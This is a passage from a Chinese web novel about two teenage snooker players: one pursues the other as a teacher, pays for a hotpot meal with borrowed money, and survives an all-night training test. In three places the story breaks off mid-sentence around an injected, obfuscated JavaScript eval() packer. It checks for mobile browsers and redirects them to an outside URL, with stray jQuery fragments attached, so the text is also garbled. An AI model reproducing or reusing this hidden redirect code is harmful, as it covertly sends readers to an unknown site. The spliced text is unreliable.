江里目光呆滞地听英语老师讲课,像在听嘈杂的无字天书。 同桌的陈树木正在桌子里偷偷用3G上网撩妹,见江里一副如丧考妣的要死样子,凑过来一点儿,问:“里哥这是怎么了?” 江里悠悠地叹口气,答:“你们普通人,不懂帅逼的烦恼。” 陈树木也不恼,开着静音用微信摇一摇,边摇边讲:“我们普通人,也长了耳朵能听听帅逼有什么烦恼啊。” 江里感觉这是个挺好的讨论机会,一时忘了正在上课,用正常音量对同桌说:“是这么回事——” 话一出口,只见教室里突然陷入死一般的沉寂。 不少前排的同学纷纷转头朝最后一排望过来。 一抬头,江里才想起来,这节是“梅超风”的英语课。 英语老师姓梅,叫梅朝凤,名字还挺有诗情画意,只是前些年火了一部武侠作品,里面有一个叫梅超风的女魔头,正好撞了谐音。 加上梅朝凤老师本人脾气十分火爆,学生们私下干脆也都叫她“梅超风”。 “梅超风”说:“江里!不听课就站到外面去,不要影响别人!” 江里麻利地把书一收,冲老师抛个媚眼,熟门熟路出去罚站了。 陈树木不愧是中国好同桌,见江里出去,又实在耐不住好奇心,主动举手道:“梅超——梅老师,我申请出去陪江里!” 梅老师拧着深深的眉心摆手,转过身去板书,眼不见心不烦。 陈树木和江里两人排排站着了,江里才正儿八经问他同桌:“你说,要怎么样才能搞定一个男人?” 陈树木闻言惊恐不已,联想到江里说他大爷人老色衰活不好,吓得双手环胸,抖着眼问:“里里里里哥,兄兄兄弟不是你这样做的。” 江里睨他一眼,淡淡回答:“做你妈。” 陈树木这才松一口气,仿佛解决了自身危机,反问:“你要搞定什么男人。” 江里捡着重点把自己要拜师却因迟到而被断然拒绝的事儿说了。 陈树木复述:“所以那人球打得好,又不缺钱,又讲原则,你搞不定?” 江里烦躁地点头。 盛千陵是第一个打他147的人,也是第一个能用准度碾压他的人。 这就好比一个人的第一次,无论是痛还是爽,总让人难以忘怀。 他想拜盛千陵为师,想让自己的斯诺克水平更上一层楼。 偏偏他自己理亏,那天因为江海军脚崴了没赶上盛千陵说的十一点。 陈树木想了想,认真出了个馊主意:“里哥,要不试试出卖肉\\体呢?” 江里竟然觉得这主意并不偏,只是惆怅地反问:“要是那人不接受我的肉\\体呢?” 陈树木:“……” 晚上,江里又去时光台球的时候,脑子一抽,把陈树木这话说给盛千陵听了。 当时,盛千陵正在角落里常规训练。 一杆接一杆练习准度,又一球接一球打各种杆法。 他穿着件浅蓝色宽松中袖,下搭一条七分长的黑色修身裤子,看起来清爽俊逸。 又因为在球房里戴着墨镜,平添几分矜贵的少年气,引得其他客人频频张望。 江里叼着一支徐福记棒棒糖,就坐在盛千陵那张球台边的沙发上,默默边吃边看。 看到盛千陵中场休息时,江里十分狗腿地跑过去,替盛千陵接下球杆,靠在茶几边的球杆孔里,一本正经地问:“盛老师,如果我出卖我的肉\\体,你能再给我一次考试的机会么。” 盛千陵正在喝水,听到这句话,一时没能顾得上风度与优雅,一口水直接喷了出来。 喷完水又手忙脚乱去扯抽纸,三两下擦干嘴上的水渍,又背过身去理了理沾了水的锁骨。 盛千陵向来清隽绅士,第一次在人前失仪,显得有些不好意思,反而对罪魁祸首说:“抱歉。” 江里蹬鼻子上脸:“没关系没关系,如果你真的觉得抱歉,再给我一次考试机会吧,好不好?” 盛千陵:“……” 他简直不能理解江里的脑回路。 “你已经错过机会了。”盛千陵说。 江里追问:“那接受我的肉\\体么。” 盛千陵回望江里。隔着墨镜,他看到江里坦坦荡荡的眼神。好像并不是在调侃,而是一种为了达到目的而理性思索出的可行性。 盛千陵:“……” 两人沉默了一会儿,盛千陵才说:“抱——” 他又打算说“抱歉”,才说出一个字,就很快吞回去,生怕江里得寸进丈折磨他。 最后隔了好久才说:“我对男生没有兴趣。” 江里叹一口气,好像挺失望,脸上是显而易见的低落。他有一下没一下咬着红润的嘴唇,想到一些难堪的往事,心头酸意直冒。 两人并排坐着,中间就隔着一张黑色的大理石茶几。 江里自嘲地笑笑,说:“对不起,我天天这么缠着你,很烦吧,算了。” 盛千陵心一软,隔着墨镜看江里那张失落又忧伤的脸。 少年长得好看,略一蹙眉、乍一噘嘴,我见犹怜,仿佛全世界都亏欠了他,球房的灯都因此暗淡了不少。 江里又说:“那天我迟到,其实是因为我爸受了伤,我背他去看病了。虽然他总是骂我狗东西,说我不要脸没屁\\眼,好歹把我当只流浪狗一样养大,我不能不管他。” 盛千陵:“……” 不知道为什么,他总是越来越多地在江里面前失语。 他跟不上江里的思维,没耳朵听江里那些没边的骚话,却能清晰共情江里的悲伤。 这种感觉很奇怪。 江里把自己比作“流浪狗”,眼睛蓦然红了。好像进入某种悲伤又难堪的回忆,整个人的气场以肉眼可见的速度低迷下来。 他说:“盛老师,我和你是两个世界的人,我不应该高攀你的。” 如此说还不够,还要站起身来,冲坐着的盛千陵深深鞠一躬,又说了句“对不起”,才慢慢转身,拖着长腿颓唐地往外走。 刚一转身,就换了神色。 一步。 两步。 快叫住我啊。 江里焦急地想。 三步。 四步。 盛千陵怎么还没叫住我? 这个狠心的狗男人,怎么这么铁石心肠? 五步—— “江里。” 身后终于响起盛千陵的声音。 江里飞快回头,还摆着那副楚楚可怜的模样,真像只落魄兮兮的流浪狗。 哪知盛千陵说:“你书包没拿。” 江里:“……” 拳头硬了。 江里的头发软软盖住眉眼,眼尾红红的,像是受了天大的委屈。 他却不敢爆发,只好低着头慢跑过去,勾住书包往身上一甩,小媳妇一样巴巴地走了。 走几步,又听到盛千陵说:“这个星期六十一点,不要再迟到了。” 江里听到自己想听的话,喜悦瞬间溢于言表,不顾场合地飞快转身扑向盛千陵,一把搂住他的肩膀,撞进他的怀里,欢快地说:“好!我知道了,我一定不迟到,我一定准时参加第二项考试!” 盛千陵被撞得身体趔趄,不得不用点力坐正身体推开江里。 再看一眼江里双眼里迸发出的神采,愣了一下,迟钝两秒才无奈地反应过来—— 他又上当了。 …… 又到周六。 江里十点半就跑到时光台球门口来等盛千陵。 相处这些天,他几乎已经摸清了盛千陵的作息。 每天十一点球房开门时,盛千陵就会过来练球,练到傍晚五六点,会和潘总他们出去吃个饭,再回来接着练。练到夜里十一二点,才会回去睡觉。 好像一个不知疲倦的练球机器。 十一点整,来上班的收银员开了门。 盛千陵走出五楼电梯,看到门口乖巧站着的江里。 江里今日没穿校服,换了身十分养眼的私服。 内搭一件白色打底短袖,外面套着一件黑白纹路的衬衣,衬衣扣子没扣,松松地搭在深蓝色牛仔裤上。 虽然长得瘦,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛千陵从幼年开始,就保持着工作日五小时节假日十小时的训练强度。尤其到了青春期后,体力更旺盛,有时候练习十二小时也不在话下。 可江里不一样。 他是个业余爱好者,少有连贯的练球时间。平时疏于运动,很少能保持长时间击球。 一个两个小时不在话下。 三个四个小时还能坚持。 到了五六个小时的时候,已然累得头昏眼花,好像有数不清的飞虫萦绕在他的眼前,嗡个不停。 再看一眼盛千陵。 只见他优雅地捡球摆球击球,一个不停地训练,好像其他的任何事情都与他无关。他的眼里心里,全部都只有那十五颗红球和六颗彩球。 即便世界风雪肆虐,唯他依旧独善其身。 江里忽然想到那天盛千陵叫他吃饱一点过来是什么意思了。 真的就是拼体力极限啊。 这可比什么美女坐怀不乱更难了。 可好不容易才得到这个考试的机会,江里不想放弃,于是咬牙坚持着。 那些球被他反复击打,一个一个落进袋里,又一个一个被捡出来。 他有点饿,可盛千陵没有发话,他也不敢开口,只好忍着眩晕继续训练。 盛千陵在江里身边,一直密切关注着他的状态。 眼见江里的球已经不能百发百中,知道他已经到了疲惫虚脱的状态,却执拗地不肯服软。 不禁有些好笑。 盛千陵慢条斯理收起自己的球杆,走到沙发边喝了一口水,平静地说:“你还欠我一顿饭,记得么。” 江里手一偏,桌上的球被打偏,撞几库后不知道跑去了何处。 他起身站好,只觉得右腿沉重得像绑了几百斤实心铜,一时露出倦意,答:“记得的。” 盛千陵说:“那走吧,先去吃饭。” 这意思是可以中场休息了。 江里欢快地放下球杆,朝盛千陵跑过来。 他本能的又有点想扑到盛千陵身边,忽然意识到这个动作不雅,只得半路刹脚,摇摆地停在了原处。 直到两人走到马路对面凯德广场一楼了,江里才想起一件非常非常重要的事情。 ——他没有钱了。 11. 第011章 江里还记得第一次对杆那天他和盛千陵的赌约。 1号台的灯光下,他说的是“一顿餐厅任选的饭”。 原本是把盛千陵当成了外地来的钓鱼选手,想敲诈他一顿的,却没想到自己技艺不精被人满分清台,倒搭了一顿饭进去。 按道理来讲,既然是“任选”,就算盛千陵选国宴,江里也只能含泪答应。 幸好这附近没有这样的高级餐厅。 盛千陵站在凯德广场一层的楼层索引处,微微低着头,目光快速从一排餐厅名称简介上掠过,回头问江里:“这里面的,你都吃过么,哪家好吃?” 江里摇了摇头。 少年虚荣心作祟,补一句:“我很少在外面吃饭。” 盛千陵想到好多次他和舅舅一起去吃晚饭,舅舅潘登邀请江里一起却每次都被拒绝的事,随口反问:“为什么?觉得不太卫生?” 江里不想回答真实原因。 虚晃的理由可以扯一大堆,例如没有时间,例如肠胃不好,又例如习惯在家吃。 可说来说去,只是因为穷罢了。 所以从不和别人一起聚餐,不肯占了这点儿便宜,到最后自己连回请一顿饭的钱都没有。 可盛千陵还认真望着,坚持在等他的答案。 江里没办法,只好说:“我特别挑食,没人受得了我。” 这个理由倒是情有可原。于是盛千陵想了想,绅士地说:“要不你选位置?” 江里摇摇头,答:“不,还是你选吧。” 盛千陵抬头看一眼凯德广场中间巨大的海底捞宣传招牌,询问道:“去吃火锅?” 江里听同学说过海底捞挺贵的,心里有点窘迫发憷,但还是点头说好。 于是,趁着两人上五楼电梯的时间,江里飞快掏出手机给同桌陈树木发消息:“大树,江湖救急。带三五百块钱来武胜路凯德广场海底捞来救命!” 陈树木秒回了江里一串省略号和一排刀子见血的小表情。 所幸最后又补了一条:“行。” 电梯上行至五楼,盛千陵和江里一前一后走向海底捞火锅。 两个男孩个子都高,长得也十分英俊养眼。一个疏淡清朗,宛如三月湛蓝的天空;一个张扬雅痞,恰似寒风尽头的暖阳。 风格各成一派,形象自成一景。 融合到一起,却并不突兀,反倒有一种莫名的互补与和谐。 两人跟随服务员走进餐厅。 深黑与漆红为主色调的餐厅里,食客众多,一片喧哗。 盛千陵扶一扶鼻梁上的墨镜,站住脚步对江里说:“你先去找位置,我去个洗手间。” 江里点头,答:“好。” 江里跟着服务生走到一张空桌前。服务生递了一台平板电脑过来,询问江里有没有会员账号。 江里不熟悉这些,但并不露怯,笑眯眯对着服务生说:“漂亮姐姐,我没有账号,还是等我朋友回来再点吧。” 服务员笑得弯起眼睛,礼貌周到地给江里倒了杯水,又去给别桌服务。 江里趁服务员离开,龇牙咧嘴给陈树木发消息:“孙子,还没到吗?” 陈树木家在江汉路,离武胜路得坐401路公交坐三站。江汉路作为繁华的商业街,常年人挤人,一片people mountain people sea的盛景。不论是公交还是出租车,都得挤着上抢着坐,稍不留神,就会抢不到位置。 陈树木等了老半天都没有等到车,又怕误了江里的事儿,只好以百米冲刺的速度飞奔,奔一段儿歇一段儿,自然没空看手机。 江里见同桌不回复,十分生气,生气之余又是掩藏不住的担忧。他不断发消息骚扰陈树木,恨不得对方下一秒就出现在他面前。 就这么胡思乱想时,江里无意间抬起头。 视线上扬,恰好与正在寻找江里的盛千陵目光交汇。 盛千陵摘了墨镜,露出了一双澄澈漆黑的眼睛。他的眼形十分漂亮,天生双眼皮,眼角的弧度自然拉长,带着一丝与生俱来的冷冽,却又丝毫不影响颜值。 而那双眼睛好像有什么魔力,江里只是抬望一眼,便被吸附。 只这么一眼,江里举着手机的手就停在了半空。 在他先入为主的想象里,盛千陵长着一双畸形难看的三角眼。虽然起因是他被盛千陵打了147,心中愤愤不平而故意迁怒,但时间一久,竟然在潜移默化里接受了这个设定。 好像盛千陵天生就是三角眼一样。 可这一眼看去—— 盛千陵一身白衣黑裤站在人群里,目光遥遥相望,面色干净又纯粹,一张脸长得过分英挺又白皙,无端让江里想起了一篇被老师强迫背了几段的名叫《荷塘月色》的课文。 盛千陵就像温柔夜色里,那片清冷绝傲的月光。 似天外来客,不染凡尘。 遗世独立地站着,与当下火锅店里这热气升腾的人间烟火格格不入。 盛千陵找到江里的位置,很快迈开大步走过来。他将黑色墨镜放在桌角,拿毛巾优雅地擦了擦手。 见对面的人坐着没动,他问:“江里,在发什么愣?” 江里很快回神,啧啧赞叹:“盛老师,咱俩认识这么久,我这才第一次见着你的庐山真面目啊。” 盛千陵拿过餐桌边的平板电脑浏览菜单,微扬唇角,说:“刚才照镜子,发现眼睛完全康复了。” 他本来就长得好看,略一淡笑,更是清俊绝伦。 江里忍不住追问:“盛老师,就你这长相,应该有不少女生追你吧。” 盛千陵不觉得这是什么值得炫耀的事情,也不认为先动心的那些人就应该被人议论,于是选择含糊其辞:“偶尔。” 江里语出惊人:“那应该也有不少男生追你吧?” 盛千陵:“……” 盛千陵抬头看过来。 他的眸光忽然变得深邃,又像染上了某种深意。 江里就这么直勾勾地盯着他,莫名感觉盛千陵这双深如潭水的眼睛里弥漫着一种奇怪的情绪。好像有一点惊慌,又像有一点审视。 错综复杂,不知其意。 江里猜到答案,咧着嘴角笑起来,身体往前凑了一点儿,自问自答:“还真有啊……盛老师,被男生追是什么感觉?” 盛千陵也只是失态了那一两秒,很快敛了神色,淡定自若地说:“没什么感觉。” “噢……”江里拖腔带调,像在思索什么,“那倒是,我想起来你说过,对男生没兴趣。” 这话说完,江里一秒坏笑,浑身的痞又露出来:“——你要有兴趣,我早献身了。” 盛千陵:“……” 盛千陵没再继续这个话题,只问:“有什么忌口?我要点菜了。” 他还记得江里说的非常挑食。 江里穷归穷,挑食也是真挑。 被盛千陵这么一问,于是认认真真开始回答:“酸甜苦辣咸里,我不吃酸和苦这两味。如果是吃正餐,不能吃甜的,所以不吃任何糖醋拔丝类的菜,例如糖醋排骨拔丝香蕉。我不吃醋酸,所有加过醋的菜我都不吃,但能接受自然发酵的酸,例如泡菜。我不爱吃豆制品,例如千张腐竹豆浆豆腐脑,但可以喝加了糖的豆浆。” 江里一口气说了这么多,等着盛千陵的反应。 常人会说他要求真多口味真刁,而盛千陵却只是平静地问:“还有么。” 于是江里继续说下去:“我不吃过度加工过的东西。例如草莓我吃,做成草莓果酱就不吃了。苹果我吃,打成苹果汁就不吃了。” 盛千陵点点头,嗓音清润:“好,大致了解了。” 江里有点好奇,反问:“了解什么了?” 盛千陵很快拿平板点菜,边点边说:“所以你不能接受番茄锅底,因为酸酸甜甜,那就菌汤鸳鸯锅底吧。你是湖北人,口味偏咸和辣,但又不能辣到像川渝那样,我会注意的。” 江里像看一个外星人一样看他,自己都震惊了:“你不觉得我龟毛逼事多?” 盛千陵已经渐渐习惯江里这随口外蹦的不雅词汇,心中即便有余震也能兀自平息。 他慢慢回答:“每个人的口味不同,都是很正常的事情。你口味偏本土,那你一定也不喜欢日料冷餐东南亚风味这些。” 江里从没有吃过日料冷餐,甚至连三文鱼有几种颜色都不清楚。 也没接触过东南亚那边浓厚的咖喱味儿,但他就是从心里认同盛千陵说的话。 他眼睛亮起来,调侃盛千陵:“我知道你为什么招男生喜欢了。我要是弯的,我也喜欢你。就这温柔体贴劲儿,谁招架得住啊?” 话题兜兜转转,又回到了“直与弯”上。 盛千陵不欲多聊,只将点好的菜递给江里看。 江里扫一眼,倒没太大感觉,只看到底下汇总的菜品总价是二百八十七元时,有些心疼。 但也没说什么。 他掏出手机给陈树木发了条信息:“孙子,你是蜗牛血统乌龟星座蚯蚓属相吗?” 无人回复。 江里没有办法,只得坐立不安看着服务员上锅底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875185|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上菜。 不得不说,盛千陵点的这些菜江里都很喜欢。毛肚虾滑,鸭肠牛肉,还有几样简单常见的素菜。 集贤路菜场有卖,有回有个摊位没卖完,江海军以便宜的价格买了一些回家,自己用几块钱一包的火锅底料煮开,然后把菜煮进去。 那回,江里第一次吃上了火锅。 盛千陵吃饭时不爱说话,慢条斯理下菜烫菜,优雅自如,还会细心照顾江里。 江里低着头,闷闷地诅咒陈树木,一下一下地吃完了盛千陵用公筷替他夹好的虾滑牛肉。瞥一眼手机,陈树木还是没有回复。 简直了。 两人就这么沉默着,一人投食一人吃,桌面的菜很快被消灭了大半。 而陈树木迟迟没有回音。 江里猛地一抬头,发现时间已经过了半个多小时,而从桌面所剩不多的菜来看,这顿饭要不了十分钟就得结束。 他突然扭捏紧张起来,伸手阻止盛千陵,说:“盛老师盛老师,我自己来自己来。” 盛千陵隔着热气看一眼江里渐红的脸,没多问,慢吞吞继续吃。 江里此时已难堪到了极点,心脏扑通扑通跳个不停。 仿佛屁股下的沙发张满了尖锐的刺,每一根都扎得他坐如针毡。 如果这顿饭吃完了,陈树木还没来怎么办呢?海底捞能不能赊账?有谁可以在短时间内过来帮他付饭钱?如果告诉盛千陵自己忘记带钱包,让他先垫付行不行? 给江海军打电话?去找邻居刘姨借?或者在□□上找其他同学帮忙? 有困难找警察叔叔? 还是,对盛千陵实话实说? …… 这个狗日的陈树木,说了行为什么还不过来。 等再见到他,一定得把他摁在地上揍老实了才行。 盛千陵已经吃到了七八分饱,于是放下了筷子。 他看江里有一下没一下戳着酱料碟,又见江里的脸越来越红,问:“不舒服?” “呃?”江里回神,“没没没,没有没有,我还没吃好,我再吃一点儿。” 于是,盛千陵看着他,以电影慢镜头升格动作伸筷子夹菜,又宛如木偶人一样将菜塞进嘴里。一口菜还嚼了十几二十下,才缓慢地吞下去。 盛千陵不明所以,以为他是故意拖延时间,说:“吃得慢也没用,饭吃多久,下半场考试就延长多久。” 江里一口老血哽在心头,不得上下,只盼这时能有个天神下凡来救他。 即便让他从良做个好人他也愿意。 上天似有耳闻,遂了他的心愿。 下一秒,江里的电话响起来。他手忙脚乱去接听,可是手机实在太旧太老,又容易卡,才刚刚划开绿色键就突然死机了。 江里:“……” 只好等着这小破手机关机再进入漫长的重启阶段。 没一会儿,喘着粗气的陈树木从火锅店门外冲进来,目光逡巡在有食客的桌上,来回寻找江里的身影。 视线甫一对视,陈树木张嘴边喘边笑,冲江里挥了挥手。 江里赶紧跟盛千陵说:“盛老师,我同学来了,我出去一下。” 盛千陵一回头,看到一个剃着寸头胸腔剧烈起伏的男生,轻轻点点头。 江里跑出去,生怕被盛千陵看到,将陈树木拉到一个死角里,说:“钱呢。” 陈树木跑得太远,久久无法平息,一手扶墙一手掏兜:“在呢在呢。” 于是掏出来一把钱,三张红票子,两张绿票子,还有几张紫黄青绿的零钱叠在一起,甚至还掏出了一把硬币。 陈树木说:“里哥,我全部积蓄,四百六十二块钱,全给你拿来了。” 江里恨不得眼泪汪汪,一拍陈树木的肩膀,说:“够兄弟!” 陈树木还在喘,却忍不住打趣:“又不当我爷爷了?” 江里没时间继续贫,留下一句“回头再说”就往火锅店里跑。 刚跑进去,就见到盛千陵正跟着服务员走,应该是往收银台的方向。 江里自然不能让盛千陵结账,加速冲到他身边,隔在盛千陵和服务员中间,极为镇定轻描淡写地说:“嗨,盛老师,我吃好了,我去付钱,你等着我!” 说着就拖拽着把服务生拉开了。 盛千陵站在原处,没有继续跟着走。 略一转头,见到刚才那个寸头男生还站在扶手电梯前喘个不停,像经历了漫长的剧烈运动。 再回头时,已经见到江里轻松地朝他奔过来。 就像一只欢快的小狗。 12. 第012章 拖了这么一会儿,已经到了晚上七点二十分。 春夜风缓,中山大道上车流如梭。星光闪烁,灯火交映,掺杂着一长串的汽车尾灯,铺陈出一幅美丽的江山画卷。 江里和盛千陵一起步行出来,回到马路对面乐福广场五楼的时光台球。 周六晚上正是台球室生意最好的时候。 此时的时光台球里,无论是大厅还是包间全部都已满台。清脆的击球声此起彼伏,夹杂着客人高高低低喊的“摆球”声。 穿着黑色马甲的服务生们穿梭于各类球台中间,忙得自顾不暇。 江里和盛千陵一起进门,恰好看到潘登在给1号斯诺克球台附近一张八球台摆球。 江里想也不想,迈步冲上去,伸手去捡球,边捡边说:“潘总,我来我来。” 潘登便收了手,转身走回1号台附近。 他见盛千陵摘了墨镜,没太好奇,只问:“眼睛好全了?” 盛千陵的目光还落在手脚麻利的江里身上,闻言轻轻点头,随潘登一起坐在1号球台边的沙发上,看两个老会员比赛。 江里摆了这桌,又听到别的几桌客人在喊,很快像阵风似的穿梭于大厅里。 盛千陵平静地看了一会儿,转头叫潘登:“舅舅。” 潘登正看手机,听到声音抬头问:“怎么?” 盛千陵很难得地笑了一下,语气却并不怎么好,说:“你挺会剥削人。” 潘登愣了好几秒才反应过来盛千陵的意思,接话道:“你说小里?小里在我这儿练球不收费,你不知道啊。” 普通的斯诺克球台,最便宜的也要三四十一小时。可是江里只要是一个人独自练球不对杆,潘登从没收过他的钱。 盛千陵无话可说,也没立场批评舅舅,只得沉默。 一直到九点半以后,斯诺克区才空出来了五六张球台。 江里当了两个小时服务生,却还是朝气蓬勃元气满满。 盛千陵走过去喊他:“江里。” “啊?”江里回头,眼睛弯起来,“我在呢。” 盛千陵走到前台去拿自己的私杆,看一眼身后的少年,嗓音平平:“继续考试。” “好嘞师父!” 两人又回到先前在角落练过球那两张球台。 盛千陵拼接好球杆,拿擦杆布拭去巧克灰,摆开了练球姿势。 他一旦进入训练状态,整个人的气质就完全沉静下来,宛如一汪平静的湖水,不起波澜。 江里多看两眼,再次在心中琢磨自己和盛千陵谁更帅一些。 最后不情不愿得出个不相上下的结论,才松口气给自己挑了支公用球杆,继续训练准度。 两人一时相安无话,只在明亮的灯光下,各自击球。 江里跑来跑去摆了两小时球,又连续训练三小时,终于累得手脚发麻人仰马翻。偷偷瞥一眼盛千陵,却见那人依然保持着优雅从容,每一杆训练都清爽利落,颇有大将之风。 许是注意到江里的停顿,盛千陵抬眸扫向他。那双眸子很深,被光一照,水波璨璨。 盛千陵问:“坚持不住了?” 江里不答反问:“盛老师,你今天练了都快十个小时了,不累么。” 盛千陵吐字很轻:“不累。” 江里忍不住讲了句骚话:“以后,谁能做你女朋友真是幸福。” 盛千陵思维简单,不能理解练球时间和女朋友之间有什么关联,反问道:“是什么意思?” 江里乐得趁机休息一会儿,双肘撑在球台上,挑起眼尾拖音带调地回答:“因为……盛老师……体力……超级好呀。” 腔调暧昧,笑意戏谑。痞得明显,坏得彻底。 饶是盛千陵再怎么不经人间情\\事,被人这么言语撩拨,也后知后觉反应过来了。 他感觉自己心跳漏了一拍,脑子陷入短暂的茫然。 这种茫然就像去年被朋友拉进一间小黑屋,被迫欣赏电脑屏幕上一对成年男女表演人间亲密度的电影时一样。 他不明白那有什么好看,只觉得那“咿咿呀呀嗯嗯啊啊”的背景声十分嘈杂。 盛千陵耳朵微热,难得置气地说:“江里,我今天准备通宵训练。” 意思是江里也得跟着练一晚上,做不到,就不用拜师了。 哪知江里脑子里那匹哒哒的小马跑得更偏,他抬起难以置信的目光,震惊地反问:“你是想说你体力还能更好?” 盛千陵:“……” 书生遇见混球,没有道理可讲。 盛千陵有些生气,不再理江里,背过身去独自练球。他保持着自己的节奏和手感,将刚才的对话置之脑后,很快回到自己熟悉的安全领域里。 江里琢磨好一会儿,才明白过来盛千陵的意思。 一想清楚就开始耷着眼皮扮软示弱:“对不起对不起,盛老师,我错了,真错了。” 盛千陵不理他。 江里边道歉又边坏笑,目光还忍不住瞥了瞥盛千陵精细的腰身和结实的长腿,愈发羡慕以后盛千陵要娶的那个人。 盛千陵说通宵就通宵。 除去中途上了几次厕所,找前台拿了两瓶矿泉水,其余时间全都趴着训练。 到了凌晨两点,俱乐部要打烊了,潘登过来问:“千陵,还不回去休息?” 盛千陵根本没有露出倦态,一张冷白的脸依然淡定。他平静地回答:“嗯,今天的训练时长还不够。” 潘登想了想,委婉地劝:“也还没确定走这条路,别先把身体搞垮了。” 盛千陵点点头,但没起身。 潘登再看一眼旁边那张台的江里,已然累得脸颊苍白目光呆滞,柔软的头发被他拨至两边,几绺交错在一起,透出颓唐的疲惫。 潘登笑了,问道:“小里,今天准备陪千陵一夜?” 江里听了,缓缓转头—— “???” 盛千陵见江里神色有异,自然知道他脑子里的小黄马又跑到了外太空,赶紧打住潘登的话头:“舅舅你先回去,让前台留着灯,一会儿我自己关灯锁门。” 潘登点点头,走了。 诺大的球房只剩下盛千陵和江里两个人。 江里累得不像样子,整个人都软绵绵的,像脱了力。可盛千陵不肯说结束,好像在等江里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875186|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己开口说放弃。 偏偏江里这人倔,想要的东西再怎么没脸没皮也得争取到,压根儿不可能主动说坚持不了,就这么继续硬撑着。 收银员下班时,关掉了装饰用的彩灯,整个球房暗下来。 只剩下这两张紧挨的斯诺克球桌亮着灯,其余地方暗黑一片。好像一片鸿蒙空间里,漏着零星半点的光。 盛千陵趁喝水的工夫,瞟一瞟江里。 只见少年一张脸被灯光照得格外苍白,惯有笑意的脸上表情全无。偶尔嘟一下粉润的唇,很快又无力地松开。他很瘦,手指白皙修长,可架杆的左手已无法放松伸直,呈现出一种筋疲力尽后的自然弯曲。 盛千陵不知道自己在较什么劲,或许潜意识里确实是想看看江里的定力与耐力极限在哪里。 又或者,只是单纯想听江里服个软。 这时,累得眼皮都在打颤的江里忽然喃喃轻语:“要是有颗棒棒糖就好了……” 盛千陵终于于心不忍,收起球杆,走向江里。 他刚想开口,却听到江里软绵绵地问他:“师父,你还要考验我多久啊……” 语气乖巧柔弱,全然没了平日里那样的顽皮乖张,仿佛只是一只柔顺的家养宠物小狗。 盛千陵说:“江里,回去吧。” 江里不肯,明明累到眼冒金星了还不肯停下,边给自己摆球边说:“我不,我就要拜你为师,就要缠着你粘着你,你让摆脱不了我,没有办法只好收了我。” 少年坚韧,好像一颗长在荒野里的刺头苍耳果,一旦沾到人的衣服上,就很难摘下来。 盛千陵站着没动,江里也依然弯着腰给自己摆球。 他站都站不稳了,只得借助球台的力量,撑着自己的腰。 两人静默半晌,盛千陵忽然问:“江里,你对你想要的东西,都会这么执着不休吗。” 江里只是身体疲倦,脑子还算清醒。他说:“只要是我想要的,死也要得到啊。” 盛千陵又沉默好久,仿佛灵魂出了窍。垂着眼眸落到深灰色的方格地毯上,静静思索着什么。 江里见盛千陵没有动静,气若游丝喊他:“盛老师?” 盛千陵回以注视。 万籁寂静里,两人目光相接。 谁也没有先挪开。 这时,盛千陵平静地开口:“好,我答应教你了。” 好像做了一个很深刻认真的决定。 江里眼里顿时涌上亮光,拖着累到极致的身体追问:“真的吗!” “真的,”盛千陵走过来,就站在江里面前,继续道,“你通过了我的定力考试。我希望你——” 这句话对于十七岁的少年来讲,可能有些过分沉重与不合时宜的沧桑。 可是十七岁的盛千陵依然一字一字郑重说出口,不知道是在说给江里,还是说给他自己听:“希望你以后永远不会放弃斯诺克,也希望你以后遇到困难想要退缩的时候,想想今天这场筋疲力竭无怨无悔的坚持。” 而另一位十七岁的少年只觉得自己的心被什么触动,第一次收敛了嬉皮笑脸,认认真真回答:“我会记住的,师父。” 13. 第013章 拜师成功,江里春风得意。 周一上午坐在教室和同桌陈树木吹牛打屁时,唇角那点儿笑意压都压不住。他叼着一支棒棒糖,吃着吃着就开始龇牙齿,笑得脸都快抽筋,好像中了什么大奖。 陈树木极少见到江里这么一幅浪兮兮的模样,眯着眼睛思索一会儿,凑过来问:“里哥,谈恋爱了?” 说完又自己开始回忆,思索最近是哪个女生入了江里的眼。平日里给江里递情书的女生不少,送礼物的也一大堆,可江里好像从没往心里去过,反而还会故意嘲讽调戏人家一把,让那些女生们对他又爱又恨。 江里吮着糖球,用一句话回怼:“和你大爷谈?” 陈树木:“……” 也真没想到他大爷晚年时还能有这样的艳福。 陈树木又问:“那你今天怎么这么诡异,每根头发丝都在发情。” 江里听了这话,斜斜看同桌一眼,随即起身,两根手指夹着糖棍,作势用双手去扯自己的白色短袖衣摆,随意一撩,露出一截白皙清瘦的腰身。 陈树木惊恐万分,连连后退,贴着后墙道:“里里里里哥你这这这这是干什么?” 江里一脸邪气,肆无忌惮回应:“干你啊,不是说我在发情?不就是应该在兄弟缺女人时做他的女人?” 陈树木:“……” 周围无意听到这段对话的同学们:“……” 简直不知廉耻! 江里却没有半点羞耻之心,目光挑衅地看着陈树木,笑得张扬。 陈树木恨不得跪地求饶:“别别别,里哥里哥,我等会儿去小卖部给你买糖,徐福记甜橙味,买买买十颗……” 江里得了台阶,这才放下衣服,顺手拨了拨头发,风情万种坐下来。 